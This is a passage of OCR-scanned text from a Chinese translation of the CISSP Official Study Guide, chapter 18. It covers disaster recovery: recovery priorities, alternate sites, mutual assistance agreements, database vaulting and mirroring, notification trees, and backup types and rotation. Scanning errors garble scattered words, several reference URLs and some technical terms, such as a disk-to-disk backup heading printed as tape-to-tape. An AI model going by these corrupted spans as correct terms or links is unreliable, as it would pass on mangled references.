恢复计划时所涉及的关键子任务， 它们将对迅速恢复正常业务过程和重新开始主要业务地点的活动
进行指导。
除了提高响应能力之外， 购买保险也能够减少经济损失。 选择保险时， 一定要购买足够责任范
围 的保险， 以便能够从灾难中恢复过来。 简单的定额责任范围可能不足以包括实际的更换成本。 如
果财产保险包括实际现金价值(ACV)条款， 受损 日 该受损财产的公平市场价值减去从购买之 日起的
累计折旧价值就是能够得到的补偿。 这里有一个很重要的关键点， 就是除非在保险合同 中有关于更
换 费用 的条款， 否 则组织将要 自 掏腰包。
有效凭证保险责任范围为记名 的、 打印的和书面的文档与手稿， 以及其他打印的业务记录提供
了 保护 。 不过， 这种保险的责任范围并不包括对钞票和 印刷的安全证书 的损坏。
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CISSP 官方学习指南(第 7 版)
1 8.3.1 确定业务单元的优先顺序
为了尽可能最有效地恢复业务运营， 就必须精心策划灾难恢复计划， 以至于优先级别最高的业
务单元能被最先恢复。 必须识别和优化重要业务功能， 以及定义在发生灾难或错误之后， 想恢复哪
个功能或 以什么顺序恢复。
要完成这一目标， DRP 团队必须首先标识那些业务单元并决定它们的优先级顺序， 在业务功能
方面也需如此(注意主要业务单元并不需要执行所有的业务功能， 所以最终分析结果可能含有主要业
务单元和其他选择单元的集合)。
该过程应该听起来很熟悉 ! 因为这与第 3 章讨论过的在业务影响评估期间 由 BCP 团 队执行的优
先级划分任务非常相似。 事实上， 大多数组织将完成业务影响评估但lA)作为业务连续性规划过程的
一部分。 这种分析能够检测漏洞、 建立策略来降低风险， 并最终生成一份 BlA 报告以描述组织面临
的潜在风险并确定重要的商业单元和功能。 BlA 还确定故障造成的损失， 其中包括现金流损失、 更
换设备的相关费用 、 加班费、 利润损失、 无法获得新业务的损失等。 根据财务状况、 人员、 安全、
法律合规性、 合同履行、 质量保证以及货币条款等方面的潜在影响对这些损失进行评估 ， 同时进行
评估 比较 以 设置预算 。 拥有所有 的 BIA 信息， 便可 以使用 生成的文件作为优先级任务的基础。
作为最低要求， 这个任务完成后的结果应该是一张简单的业务单元优先级列表。 然而， 更加有
用 的可交付使用的应该是一张非常详细的 、 被拆分为具体业务过程的按优先级排序的列表。 这个面
向业务过程的列表更加真实地反映了现实状况， 但需要付出相当大的额外努力。 无论如何， 它在恢
复工作中会给予巨大帮助， 但毕竟不是所有最高优先级的业务单元所执行的每个任务部具有最高的
优先级别。 在试图开始完全恢复工作之前， 在组织内最好先恢复最高优先级业务单元 50%的运营能
力 ， 然后继续恢复优先级别较低的业务单元， 使之达到最 小限度的运营能力 。
同样的道理， 关键的业务流程和功能也必须完成同样的步骤。 这其中不仅涉及多个业务单元，
还定义了在发生系统崩溃或其他业务中断后 ， 必须恢复的操作要素。 在这里， 最后的结果应按照优
先级顺序列 出清单， 并列出风险和成本评估 ， 同 时还应列 出 最小恢复时间及相关恢复 目 标。
1 8.3.2 危机管理
如果灾难袭击了 你的组织， 那么很可能会引 起恐慌情绪。 与之进行斗争的最好方法是使用组织
的灾难恢复计划。 对于公司 中很可能首先注意到发生了紧急情况的个人(也就是保安、 技术人员等)，
应该对他们进行完整的灾难恢复措施培训 ， 并且让他们知道适当 的通知措施和立即响应机制。
许多事情可能看起来属于常识性的问题(如在美国发生火灾时 拨打电话 9 1 1)， 但在紧急情况下，
惊恐的员工想到的只是迅速逃离。 处理这种情况的最好方法是进行连续的灾难恢复职员 培训 。 回 到
火灾的例子， 应该培训所有的员工在发现火灾时， 启动防火警报装置或与紧急情况办公室联系(当然，
在这之后， 应该采取适当 的措施来保护 自 己的安全)。 毕竟， 即使消防队接到了组织中 1 0 个不同人
员 拨打的报告火灾电话， 也比每个人都假设其他人会关注火灾 ， 自 己不必打电话的情况好得多 。
危机管理是一门科学和技术。 如果培训预算支出允许， 那么对主要员工进行危机培训是个好主
意 。 这样做能够确保至少有一些员工知道如何使用正确的方法处理紧急情况， 并对那些受到灾难恐
吓 的 同 事起到重要的 现场领导作用 。
第 1 8 章 灾难恢复计划j
1 8.3.3 应急通信
当灾难来袭时， 组织能够在内 部与外部之间进行通信是很重要的。 任何重大的灾难很容易被注
意到， 如果组织无法与外部保持联系， 向外面的人告知恢复状况， 公众很容易感到害怕并往最坏处
想 ， 进而认为组织无法恢复正常状态。 灾难期间 ， 组织内部进行沟通也是很重要的， 这样员 工就知
道他们应该做些什么 ， 例如: 是回去工作， 还是向另一个地点汇报情况?
在某些情况中 ， 引起灾难发生的环境可能使一些或所有的正常通信手段道到损坏。 猛烈的暴风
雨或地震可能已经毁坏了 通信系统， 此时再试图找到与 内 部和外部进行通信的其他方法己为时太晚。
1 8.3.4 工作组恢复
在设计灾难恢复计划时， 记住 目 标是让工作组恢复到正常状态并且重新开始他们在 日 常工作地
点 的活动是非常重要的。很容易把工作组恢复变为次要 目 标， 并认为灾难恢复纯粹是 IT 人员 的工作，
IT 部门重点负责将系统和过程恢复正常。
为 了推动这项工作， 有时候为不同 的工作组开发独立的恢复设施是最好的方法。 例如， 如果在
不 同的地点有几家子公司 ， 并且执行的任务与你所在办公室的工作组的任务类似， 那么可能希望临
时重新安置这些工作组到其他设施工作 ， 并使他们通过电子通信和电话与其他业务单元联系， 直至
他们准备好回 到主运营设施中来。
较大的组织找到能够处理整个业务运营的恢复设施可能很困难， 因此这也是不同 的工作组适合
独立恢复环境的 另 外一个例子 。
1 8.3.5 可替代的工作站点
灾难恢复计划中 最重要的要素之一是: 在主要的工作站点无法使用时选择可以替代的工作站点。
在考虑恢复设施时， 有许多可供选择的方案， 方案的多少只会受到灾难恢复计划编制人员和服务提
供人员创新能力的限制 。 接下来， 我们将会讨论在灾难恢复计划中经常使用的几类站点: 冷站点、
温站点 、 热站点、 移动站点、 服务局 以及多站点。
注意 :
选择倒可可替代的工作站点时 ， 一定要确认该场所远离 主站点， 从而使其不会与主站点→豆受
到相同 灾难的影响。 但是也要近一些 ， 至少 在一天 内 能开车到达那里。
1 . 冷站点
冷站点 只是备用设施， 它有足够大的地方处理组织的运营工作， 并带有适当的电子和环境支持
系统。 冷站点可能是大的仓库、 空 的办公大楼或其他类似的建筑物。 然而， 站点内没有预先安装计
算设施(硬件或软件)， 并且没有可以使用 的宽带通信链接。 许多冷站点内确实有一些铜质 电话线，
某些站点可能还具有备用 链接 ， 从而可 以使用最低限度的通知设备。
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CISSP 官方学 习指南(第 7 版)
@ 真实场景
冷站点设置
小说 《开水房》 对冷站点设直做了 最好的描述， 书 中 涉及某个脏车店投资商行向期望的客户 电
话推销伪造的制药投资。 当然， 在这个虚构的场景中， " 灾难" 是人为 的 ， 但是概念大致相 同 。
在随时会暴露并遭受执法查抄的威胁之下 ， 这个投资商行在附近建造 了 一座空的建筑， 并且在
伪装的冷快复站，点的布满灰尘 的水泥地板上摆放 了 几部银行电话。 虽 然这些工作是虚构的和非法的，
但却说明 为 了 保证业务连续性而维护 冗余故障转移恢复站点 的真实 与 合理原因。
研究各种恢复站点， 然后考虑哪一种最适合你的特定业务需求和预算。 冷站点是最便宜的选择，
并且可能是最实用 的 。 温站点 包含数据链接， 并且为 了 开始i主席、操作而对设备进行了 预先配直 ， 但
是不存在可用 的数据或信息。 最昂贵的选择是热站点 ， 它 完全复制现有的 业务基础设施， 并且随时
准备立即接管 主站点。
冷站点的主要优点是成本相对便直， 也就是说没有需要维护的计算基础设备， 如果站点未被使
用 ， 那么就没有每月 的通信费用 。 然而， 这种站点的缺点也是显而易见的， 即在制定决策启 用该站
点到该站点实际准备好能够支持业务运营之间， 存在巨大的时间滞后问题。 必须先购买服务器和工
作站， 然后进行安装配置。 数据必须从备份磁带中还原。 通信链接必须被启动或建立。 启动使用冷
站点的时间通常需要数个星期， 因此及时地完成恢复过程是不可能的， 并且经常会产生安全假象。
所需的大量时间、 精力和费用来激活冷站点和传输操作是值得观察的， 这使得这种方法最难测试。
2 热站点
热站点恰好与冷站点相对。 这种类型的建筑布局中具有固定的被维护的备用工作设施， 并且附
带完备的服务器、 工作站和通信链接设备， 准备承担主要的运营职责。 服务器和工作站都是预先配
置好的 ， 并且 己经装载了适当 的操作系统和应用 软件。
548
主站点服务器上的数据会被定期或持续地复制到热站点中相对应的服务器上， 从而确保热站点
中所有的数据都是最新的。 根据两个站点之间可以使用 的带宽， 热站点中的数据可以立刻被复制。
如果能够做到这一点， 那么操作人员一接到通知就可以移到热站点进行操作。 如果无法做到这一点 ，
那么灾难恢复管理人员 通过下列三种可选择的方法来启 用 热站点 :
• 如果在主站点被关闭之前有充足的时间， 那么他们可以在操作控制转换之前强制在两个站
点之间进行数据复制 。
• 如果这样做不可能， 那么他们可以从主站点搬运事务 日 志的备份磁带到热站点， 并以手工
方式应用 自 上次复制 以来发生的事务。
• 如果没有任何可用 的备份并且无法强制进行复制， 那么灾难恢复团队只 能接受部分数据的
损失。
热站点的优点是相当明显的， 这种类型的场所能提供的灾难恢复保护程度是非常好的， 然而成
本也是极高的 。 一般来说， 为了维护热站点， 会使组织购买硬件、 软件和服务的预算增加一倍， 而
且 需要额外的人力进行维护 。
警告 :
如果使用 了 热站点， 那 么一定不要忘记那里具有产品数据的副 本。 同时， 要确认热站点与主站
点提供了相 同 级别 的技术和物理安全拉制 。
第 18 章 灾难恢复计划
如果组织希望维持一个热站点， 但是又想减少设备和维护费用 的支出 ， 那么可以选择使用 由外
部承包商管理的共享的热站点设施。 然而这些设施内 在的危险是在灾难普遍发生时， 它们可能不堪
重负， 从而不能为全部用户 同时提供服务。 如果组织考虑这种安排方式， 那么双方一定要在签署合
同之前、 合 同期间定期地彻底调查这些 问题。
3. 温站点
温站点介于热站点和冷站点之间， 是灾难恢复专家可以选择的中 间场所。 这种站点往往包含快
速建立运营体系所需的设备和数据线路。 与热站点一样， 这些设备通常是预先配置好的， 并准备就
绪可以运行合适的应用程序 ， 以便支持组织的业务运作。 然而， 与热站点不同的是， 温站点一般不
包含客户数据的备份。 使温站点完全处于运营状态的主要要求是将合适的备用介质运送到温站点，
并在备用服务器上还原关键数据 。
在崩溃后， 重新激活站点至少需要 1 2 个小时。 这并不意味着能够在 1 2 个小时激活的站点就是
热站点。 然而， 大多数热站点的切换时间都在几秒或几分钟之内 ， 完成交接时间也很少超过一个或
两个小时。
温站点能够避免在维护操作环境的实时备份方面耗费的 电信及人工费用 。有了热站点和冷站点，
也可以通过共享基础设施得到温站点。 如果选择这种方式， 请确保在无锁定政策中写明， 及时在高
需求时期， 仍对合适的设备有使用权。 深入了解此概念并检查合伙人操作计划， 以确定设备能够备
份 "无锁定 " 保证。
4 移动站点
对于传统的恢复站点而言， 移动站点属于非主流的替代方案 。 它们通常由设备齐全的拖车或其
他容易重新安置的单元组成。 这些场所拥有为维持安全计算环境所需的所有环境控制系统。 较大的
公司有时候以 " 移动方式" 维护这些站点 ， 随时准备通过空运、 铁路、 海运或地面运输， 在全世界
任何地点部署它们 。 小一些的公司可以在本地与移动站点的供应商联系， 这些供应商提供的服务是
以 客户 的随时需求为基础的。
提示 :
如果灾难恢复计划依赖于工作组的恢复策略， 那 么移动站点可能是实现这一过程的好方法。 移
动站点的空间通常足够 大， 以至于能容纳整个小型 的 工作组。
根据要支持的灾难恢复计划， 移动站点一般可以被配置为冷站点就温站点。 当然， 移动站点还
可 以被配置为热站点， 但并不经常这样做， 原因在于通常不会提前知道移动站点会部署在哪里。
硬件替换选项
一般而言 ， 确 定移动站点和恢复站点时要考虑的一件事情是硬件替换储备。 本质上 ， 硬件替换
储备具有两 个选项。 一个选项是利用 "内部" 替换， 此时额外和重复的设备被存放在不 同但是很近
的位直(也就是城镇另 一格的某个仓库)。 这里的 " 内部" 意味着 已经拥有替换的设备， 但是并非意
味着必须存放在生产环境中。 如果出现硬件故障或 灾难 ， 那么可以 立即从隐藏处取出适当 的设备。
另 一个选项是与供应商的 SLA 类型 约定， 从而在发生 灾难时能够提供快速的响应和支付。 然而， 即
使与供应商签署了 4、 12、 24 或 48 小 时的替换硬件合同 ， 也不能保证进行可靠的 支付。 如果将第二
个选项作为唯一的恢复选项 ， 那 么 恢复工作将依赖于太多 的 不可控可变因素 。
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CISSP 官方学习指南(第 7 版)
5. 服务局
服务局是租借计算机时间的公司 。 服务局拥有很大的服务器群， 并且通常具有大量工作站。 任
何组织都可 以与服务局签署购买合同 ， 以便使用部分处理能力 。 访问可以是联机的， 也可 以是远
程的。
在发生灾难时， 服务局的工作人员通常能够为你的所有 π 需求提供支持， 甚至工作人员还能够
使用 台 式机。 与服务局签署的合同往往包含测试和备份以及响应时间和可用性。 不过， 服务局往往
投机于不会同时履行所有合约而超卖实际容量。 因此， 在出现严重的灾难时存在潜在的资源竞争。
如果公司位于行业密集的区域， 那么这个因素一定要想到。 为了确保有权使用处理设施， 可能需要
同时选择本地的和远距离的服务局 。
6. 云计算
许多组织现在将云计算作为首选的灾难恢复选项。 基础设施即服务。朋S)提供商， 如亚马逊网络
服务、 微软的 Azure、 谷歌云计算， 以较低的成本按需提供服务。 希望保留 自 己数据中心的公司 ，
可 以选择使用这些 laaS 服务作为备份服务提供商。 在云中存储准备运行的镜像是经济实惠的， 在云
站点被激活之前能够避免大部分 的操作成本。
18.3.6 相互援助协议
相互援助协议(Mutual Assistance Agreement， MAA) 也被称为互惠协议， 在灾难恢复的文学作品
中非常流行， 但是在真实世界的实践中很少被实施。 理论上， 相互援助 协议提供了优秀的可供选择
的工作方案。 在 MAA 下 ， 两个组织保证在灾难发生时通过共享计算设施或其他技术资源彼此相互
援助。 这个协议似乎相当具有成本效益， 即任何一个组织部无须维持昂贵的替代工作场所(如在前面
讨论的热站点 、 温站点 、 冷站点和移动站点)的费用 。 事实上 ， 许多 MAA 被构造成能够提供 1 8.3.5
节 "可替代的工作站点 " 中描述的其中一种服务级别。 在冷站点的情况中， 每个组织可能只是维护
他们工作设施中 的一些开放的空间 ， 其他组织在发生灾难时可以使用这些空间 。 在热站点的情况中 ，
组织可能会通过完全冗余的服务器为彼此提供服务。
然而， 相互援助协议存在许多缺点 ， 这阻碍了 它的 广泛使用 :
• MAA 很难强制实施。 协议参与各方要彼此信任， 在灾难发生时能够给予实际的支持。 但是，
当真的 出现灾难时， 非受害方可能会拒绝履行协议。 受害方只能通过法律手段取得赔偿，
但是这样做对于立即进行灾难恢复工作没有帮助 。
• 相互合作的组织的地理位置应该相对接近， 以便于不同场所之间员工的交通便利。 但是，
地理位置靠近意味着两个组织很可能遭受相 同 的威胁。 如果你所在的城市发生了地震 ， 协
议双方的工作场所都遭到 了破坏 ， 那 么 MAA 也就没有任何作用 了 。
• 出于对机密性的考虑 ， 经常会阻止公司将自 己 的数据放置在其他公司手里。 这是出于法律
考虑(如医疗或财务数据的处理)或商业考虑(如贸 易机密或其他情报财产 问题)。
除去这些需要关心的 问题， 对于组织来说， MAA可能是一种很好的灾难恢复解决方案， 尤其当
成本成为最重要的考虑因素时 。 如果对于任何一种类型的 替代工作设施的实施费用都无法负担， 那
么 在业务遭到灾难袭击时 ， MAA能够提供一定程度 的有价值的保护措施。
第 1 8 章 灾难恢复计划
1 8.3.7 数据库恢复
许多组织依靠数据库来处理和跟踪对于持续运行的非常关键的运营、 销售、 物流和其他活动。
出于这个原因 ， 在灾难恢复计划中包括数据库恢复技术是很重要的 。在 DRP 团队中包含数据库专家，
他们可以对各种不同的意见提供技术可行性分析， 这样做是十分明智的。 毕竟， 在技术上至少需要
大半天时间才能完成还原工作时号 ， 肯定不希望分配好几个小时的时间用 于还原数据库备份。
接下来， 我们将讨论用于创建远程数据库内 容备份的三种主要技术手段: 电子链接、 远程日 志
处理和远程镜像。 每一种技术都有各 自 的优缺点 ， 这需要分析组织的计算需求和可获得的资源， 然
后选择最适合公司 的方法。
1 . 电子链接
在电子链接这种情况中 ， 数据库备份通过批量传送的方式被转移到远处的某个场所。 远处的这
个场所可以是专用的替代性恢复场所(如热站点) ， 也可以只是由公司或承包商管理的 、 用于维护备
份数据的远程场所。
如果使用 了 电子链接， 那么需要记住的是， 从宣布灾难开始到数据库准备好当前的数据准备运
营 ， 可能存在着相当长的时间延迟。 如果决定启用恢复站点， 技术人员需要从电子链接中检索到适
当 的备份数据 ， 井应用到恢复站点中 即将投入使用的生产服务器上 。
警告 :
在考虑与供应商签订电子链接合同 时， 一定要小心。 在业内 ， 对电子链接的定义非常广泛。 不
要满足于 "电子链接容量" 这样的含糊承诺。 一定要坚持提供此项服务的 书 面定义， 包括存钳容量、
通往电子链接的通信链接带 宽 ， 以 及在 灾难发生 时检索到保险库数据所需的时 间 。
无论哪种类型的备份场景 ， 一定要定期测试电子链接设置。 测试备份解决方案的一种好方法是
让灾难恢复人员进行一 次 " 突然测试 "， 即 要求他们从某一天开始注原数据。
2. 远程 日 志处理
远程 日 志处理以一种更加迅速的方式完成数据的传输。 数据传输仍然以批量传输的方式进行，
但是发生的更加频繁， 通常每小时一次或间隔时间更短。 与 电子链接不一样的是， 在数据库备份文
件被转移时 ， 远程日志处理设置传输数据库事务日 志的副本， 其中包括从上次批量传输以来发生的
事务。
远程日 志处理与电子链接类似， 传输到远程站点的事务 日 志不是应用于实时数据库服务器， 而
是使用备份设备进行维护 。 当宣布发生灾难时 ， 技术人员找到合适的事务 日 志并将其应用于生产数
据库。
3 远程镜像
远程镜像是最先进的数据库备份解决方案。 当然， 不必惊讶， 也是费用最昂贵的 ! 远程镜像使
用 的技术水平超过了远程 日 志处理和 电子链接。 使用远程镜像时， 实时数据库服务器在备份站点进
行维护。 将数据库修改应用于主站点的生产服务器时， 远程服务器同时收到修改副本。 因此， 镜像
服务器准备好在接到通知时， 接管运营服务器的角色。
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CISSP 官方学习指南(第 7 版)
远程镜像是组织寻求实施热站点时一种流行的数据库备份策略。 然而， 在衡量远程镜像解决方
案的可行性时， 一定要考虑所需要的支持镜像服务器的基础设施和人员成本， 以及附加在镜像服务
器上的每个数据库事务的 处理开销 。
1 8.4 恢复计划开发
一旦为组织建立业务单元优先级并获得合适的替代恢复场所的办法， 就该起草实际的灾难恢复
计划了 。 不要指望一坐下来就能写出全部的计划 。 在形成最终的书面文档之前 . DRP 团 队很有可能
要经历许多次反复修改革稿文档的过程， 以满足关键业务单元的运营需求。 计划中要考虑灾难恢复
预算对资源、 时间和费用 的 限制 ， 以及可以获得的人力资源。
接下来， 我们将会讨论灾难恢复计划中应该包括的一些重要条 目 。 根据组织的规模大小和参与
DRP 工作的人员数量， 维护几种针对不同读者的不同类型的计划文档是一个不错的主意。 下面列出
了一些需 要考虑的文档类型:
• 行政部 门 的总结， 提供对计划的高度概括
• 具体部门 的计划
• 针对负责实现和维护关键备份系统的 IT 技术人员 的技术性指导
• 灾难恢复团队的人员清单
• 为重要灾难恢复团队成 员准备的完整计划的副本
在灾难发生或即将来临时， 使用特别定制的文档变得尤为重要。 在波及组织各个部门 的灾难恢
复过程中 ， 想要使自 己保持头脑清醒的人员能够参考他们所在具体部门的计划。 灾难恢复团队的重要
成员有一份清单， 这份清单在混乱的灾难环境中能够指导他们的行为。 IT 人员有一份技术指南， 以帮
助他们建立和启用替代场所。 最后， 经理和公关人员有一份简单的文挡， 不用与灾难恢复工作直接相
关的团队成员解释， 这份文档的 内容能使他们大致了解当前的灾难恢复工作是如何协调在一起的。
提示 :
单击如下 网址以浏览专业实践图 书馆: htφs://www由泣orgj四川ificationlprofessionalprac.php， 查看
工作方法相关文件， 并记录 BCP 过程计划及灾难恢复计划。 该领域的其他标准文件有 BCI 良好实践
指南、 。rtp://thebci.orgjindex.php/resour臼曲。good-practice-guidelin臼)、 ISO 27001(www .27001-online.com)
和 NIST SP 800-34(http://csrc.nist.gov/publications/PubsSPs.html)。
1 8.4.1 紧急事件响应
灾难恢复计划中应当包含重要人员在识别出灾难或灾难即将来临时应立即遵守的、 简单但内容
全面的指令。 根据灾难的性质、 对事件做出响应的人员种类， 以及在需要撤离设施和/或关闭设备之
前可用 的时间， 这些指令千差万别。 例如， 对于大规模火灾的指令 ， 就要 比准备迎接预计将在 48
小时后， 在运营地点附近着陆的用风袭击的指令更加简明。 紧急事件响应计划通常以提交给响应者
的清单的形式放在一起。 当设计这些清单时， 需要记住一条重要的设计原则: 对清单的任务进行优
先级安排， 最重要的任务应当放在第一位 !
记住这些清单将在危机发生时被执行是很有必要的。 响应者无法完成整个清单中 的任务是非常
第 1 8 章 灾难恢复计划
有可能的， 特别是在很仓促地通知有灾难发生时。 出于这个原因 ， 应该把最重要的任务(例如， "触发
火警 " )放在清单中 的第一位。 列表中级别越低的条目， 在撤离/关闭之前未被完成的可能性就越大。
1 8.4.2 人员通知
灾难恢复计划中还应该包括一份人员 列表， 以便在发生灾难时进行联络。 通常， 这些人员包括
DRP 团 队的重要成员和那些在整个组织内执行关键灾难恢复任务的人员 。 这份响应清单应该包括可
选的联系方式(如呼机号码、 手机号码等)， 每一位角色还要有一位后备联系人， 以防主要联系人无
法联系上或出 于某种原因 不能到达恢复场所的情况。
清单的重要作用
在面对灾难时， 清单是非常宝贵的 工具。 在 灾难引发的混乱事件中 ， 清单提供了一系 列条理。
花费一定的 时 间确保响应清单为最初的响应者提供清晰的计划 ， 从而保护生命与 财产 的安全并确保
操作的连续性。
针对建筑物火 灾的响应清单 包括下列 步骤:
(1) 启 动建筑物警报系统。
(2) 确保有序地进行撤离 。
(3) 离 开建筑物后， 使用移动电话呼叫 91 1(在美国范围 内 )， 以确保应急机构接收到警报通知。
为 必需 的 紧急响应提供额外的信息。
(4) 确保受伤人员 接受适 当 的 医疗救护 。
(5) 启 动组织 的 灾难恢复计划 ， 以确保业务操作的连续性。
在收集和分发电话通知列表之前， 出 于对隐私的尊重， 一定要询 问组织内个人的意见。 有关在
清单 中 使用 家庭电话号码和其他个人信息时， 可能需要遵守特殊的 策略。
通知清单应该提供给所有可能对灾难做出 响应的人员 。 这样做能够迅速通知到主要人员 。 许多
公司 用 "电话树" 的形式组织他们的通知清羊， 即树上的每一个成员联系他下面的人， 这样就把通
知任务分散到 团 队的成员 之中 ， 而 不是只 靠一个人拨打许 多 电话。
如果选择使用 电话树通知方案， 一定要添加安全网 。 让每个链中 的最后一个人联系 第一个人，
以确定整个链条上的人都被通知到位。 这能够让你放心 ， 证明 灾难恢复团 队的激活正在顺利进行中 。
1 8.4.3 评估
当灾难恢复团队到达现场时， 他们的首要任务之一就是评估现状。 这通常以旋转的方式进行:
第一响应者进行非常简单的评估、 分类活动井启动灾难响应。 随着事件的发展， 更加详细的评估将
用 于衡量灾难恢复工作的有效性以及资源分配的优先级。
， 1 8.4.4 备份和离站存储
灾难恢复计划(尤其是技术指南)应该完整地说明组织要求的备份策略。 实际上， 这是任何业务
连续性计划和灾难恢复计划中 最重要的要素之一。
许多系统管理员 已经熟悉各种不同的备份类型， 在 BCPIDRP 团队中有一位或几位在这方面拥
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CISSP 官方学 习指南(第 7 版)
有技术专长的专家会使组织受益匪浅 。 目 前存在下列三种主要的备份类型:
完整备份 顾名思义， 完整备份存储着受保护设备上包含的数据的完整副本。 无论归档比特的
设置如何， 完整备份都会复制系统中的所有文件。 一旦完整备份完成， 每个文件的归档 比特都会被
重置、 关 闭或设置为 0 。
增量备份 增量备份只存储那些自从最近一次完整备份或增量备份以来被修改过的文件。 增量
备份只 复制归档比特被打开、 启 用或设置为 l 的文件。 一旦增量备份完成， 所有被复制的文件的归
档 比特都会被重置、 关闭或设置为 0 。
差异备份 差异备份存储那些 自从最近一次完整备份以来被修改过的所有文件。 差异备份只复
制归档比特被打开、 启用或设置为 l 的文件。 不过， 与完整备份和增量备份不同的是， 差异备份过
程并不改变归档比特 。
增量备份和差异备份之间最重要的差异在于发生紧急事件时还原数据所需的时间 。 如果组合使
用完整备份和差异备份， 那么 只需要还原两个备份， 也就是最近的完整备份和最近的差异备份。 另
一方面， 如果组合使用完整备份和增量备份， 那么就需要还原最近的完整备份以及最近一次完整备
份 以来完成的所有增量备份。 要根据创建备份所要求的时间做出权衡: 差异备份的还原时间短， 但
是生成时间 比增量备份长。
备份介质的保存同样至关重要。 我们可以方便地将备份介质保存在主操作中心内部或附近， 以
便轻易满足备份数据的请求， 但肯定需要至少在一个离站位置保管备份介质的副本， 从而在主操作
位置突然受到破坏的情况下能够提供冗余。
使用备份
在系统出现故障时， 许多公司 都使用 两种常用 方法之一从备份中还原是丈据。 在第一种情况中 ，
公司 在周一晚上进行完整备份， 然后在一星期内每隔一个晚上都进行差异备份。 如果故障发生在星
期六早晨， 那 么公司 需要先还原周 一的完整备份， 然后只 需还原周五的差异备份。 在第二种情况中 ，
公司 在周一晚上进行完整备份， 然后在一星期内每隔一个晚上都进行增量备份。 如果故障发生在星
期六早晨， 那 么公司 需要先还原周 一的完整备份， 然后按照时间顺序依次还原每个增量备份(也就是
用三、 周五的增量备份等)。
大多数组织采取的备份策略都会使用 一种 以上的备份， 并有介质循环使用计划。 这允许备份管
理人员充分访问备份数据以满足用 户 的请求， 并在尽量减少购买备份介质支出的同时提供容错能力。
比较常用 的一种备份策略是: 每个周末进行一次完整备份， 每天晚上进行增量备份或差异备份。 具
体的备份方式和所有详细的备份流程取决于组织的容错要求。 如果无法容忍少量的数据丢失， 那么
容忍故障的能力 比较低。 然而， 如果数小时或数天的数据丢失都没有严重的后果， 那么容忍故障的
能力是比较高的。
⑩ 真实场景
经常被忽略的备份
对于 已知的计算灾难而言， 备份可能是最少 实践和最容易 忽视的预防措施。 工作站上所有操作
系统和个人数据的综合备份频率小 于针对服务器或关键任务计算机的都分频率， 但是它们都具有同
样的和必要的 用 途。
第 18章 灾难恢复计划
Damon 是一位信息专家， 在导致一家信息经纪公司 一楼毁坏的一次 自然灾难中 ， 他数月 的工作
成果付之东流， 此时他才真正认识到备份的重要性。 Damon 从未利用 系 统中 内 建的备份设施或由 管
理 员 Carol 建立的任何共享设备。
作为管理员 ， Carol 对备份解决方案比较了解。 她在生产服务器上建立增量备份， 在开发服务器
上建立差异备份， 并且从未遇到 过还原丢失数据 的 问题。
固 定备份策略面对的最棘手的 障碍是人类的天性， 因 此简单的 、 透明的和综合的策咯是最实用
的 。 差异备份只要求两个容器文件(最新的完整备份和最新的差异备制， 并且可以计划在某些特定
的时间问 隔定期更新 。 因此， Carol 选择实现这种方式， 并且她随时准备在 需要时还原备份。
1 备份介质格式
物理特征和轮换周期是有价值的备份解决方案应当跟踪和管理的两个因素。 物理特征是使用 中
的磁带驱动器的类型 ， 它定义了介质的物理形状。 轮换周期是备份的频率和受保护数据的保留时间。
通过查看这些特征， 可以确保有价值的数据被保存在可用的备份介质上。 备份介质具有最大使用限
制 : 统计表明， 在开始丧失可靠性之前， 备份介质可能被重写 5、 1 0 或 20 次。 介质格式存在下列广
泛类型:
• 数字数据存储(DDS)/数字音频磁带(DAT)
• 数字线性磁带(DLT)和超强 DLT
• 线性磁带开放式技术(LTO)
2. 磁带到磁带(D2D)备份
在过去的 1 0 年中， 磁盘存储变得越来越便宜。 现今， 驱动能力已经开始使用百万兆宇节(TB)
来测量， 磁带和光盘已无法应付数据量的要求。 现在很多企业将磁盘到磁盘(D2D)备份方式应用于
灾难恢复策略。
一个重要的注意事项: 采用完整的磁盘到磁盘备份方法的组织， 必须确保地理多样性。 一些磁
盘 需要异地保存 。 许多组织通过租用托管服务提供商来管理远程备份位置。
提示 :
随着传输和存储成本的 下降， 基于云的备份解决方案正在变得更具成本效益。 可能会选择类似
服务而 不是使用 物理传输方式将备份发送到远程位直。
3. 最佳备份做法
无论采用哪一种备份解决方案、 介质或方法， 都必须解决一些常见的备份问题。 例如， 备份和
还原活动可能庞大和缓慢。 这样的数据移动会显著影响网络的性能， 在 日 常的工作时间 内更是如此。
因此， 备份应当被调度在空闲时间(如晚上)进行 。
备份数据量会随着时间的推移而增加， 这会导致每次的备份(和还原)过程都比之前花费更长的
时间， 并且 占用备份介质上的更多空间 。 因此， 需要在备份解决方案中设计足够的容量来处理合理
时间段内备份数据的合理增长。 在这里 ， 是否合理完全取决于具体环境和预算。
在使用定期备份的情况下(也就是说每隔 24 小时进行一次备份)， 总是有可能存在备份以来的数
据丢失的现象。 Murphy 定律表明服务器在成功备份之后不会立即崩溃， 而是往往在下一次备份开始
前发生。 为了避免定期备份存在的问题， 需要部署某些实时连续的备份形式， 例如 RAID、 群集或
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CISSP 官方学 习指南(第 7 版)
服务器镜像。
最后， 请记住测试组织的恢复流程。 企业往往出现的事实就是备份软件报告备份成功而恢复尝
试却失败 ， 然而检测到有 问题时 己经太晚 了 。 这是备份失败的最大原因之一 。
4. 磁带轮换
备份常用 的几种磁带轮换策略包括: 祖父-父亲-J L子(Grandfather-Fa也町-Son， GFS)策略、 汉诺
塔策略以及六磁带每周备份策略。 这些策略相当复杂， 尤其在使用很大的磁带组时更是如此。 可 以
通过使用一支铅笔和一本 日历来人工实现这些策略， 也可以通过使用商用备份软件或全自 动分层存
储管理(1丑erarchical Storage Management， HSM)系统来自 动实现这些策略。 HSM 系统是 自 动化的机
械备份换带机， 由 32或64 个光学或磁带备份设备组成。 HSM 系统中 的所有驱动器元素都被配置为
单个驱动器阵列(有些像 RAID)。
注意 :
有关各种磁带轮换的细节超出 了 本书 的讨论范围， 如果读者想 了 解更多 的信息， 那么可以在互
联网 上搜索相关的 内 容。
1 8.4.5 软件托管协议
软件托管协议是一种特殊的工具， 可 以对公司起到保护作用 : 避免公司受软件开发商的代码故
障的影响， 以便为产品提供足够的支持， 还可以防止出现由于软件开发商破产而造成产品失去技术
支持的情况。
提示 :
集中精力与那些主财莫大小有可能Z皮产的软件供应商商谈软件托管协议。 当然， 不可能与像微软
这样的公司 讨论这种协议， 除非 负 责的是一家非常大的公司 并且拥有讨价还价的能力。 另 一方面，
像微软这 么 大的公司 也不 大可能破产 ， 不会导致终端用 户 孤立无援。
如果组织依赖于定制开发的或小公司 生产的软件产品 ， 那么可能需要考虑开发这种类型的协议，
